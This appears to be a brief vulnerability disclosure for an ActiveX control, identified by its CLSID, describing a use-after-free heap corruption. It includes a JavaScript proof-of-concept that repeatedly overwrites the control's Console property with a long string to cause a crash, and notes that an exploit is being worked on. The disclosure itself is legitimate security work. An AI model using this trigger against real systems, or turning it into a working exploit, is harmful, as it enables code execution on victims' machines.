{CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA}
It is possible to modify heap blocks after they are freed and
overwrite certain registers, possibly allowing code execution. Like
so:
- ------------
var buf = '';
while (buf.length < 1005) buf = buf + 'A';
m = obj.Console;
obj.Console = buf;
obj.Console = m
//repeat
m = obj.Console;
obj.Console = buf;
obj.Console = m --> Should crash here
- -------------
Workaround:
Set the killbit for this control. See
http://support.microsoft.com/kb/240797
Fix:
No official fix known
Exploit:
Working on it
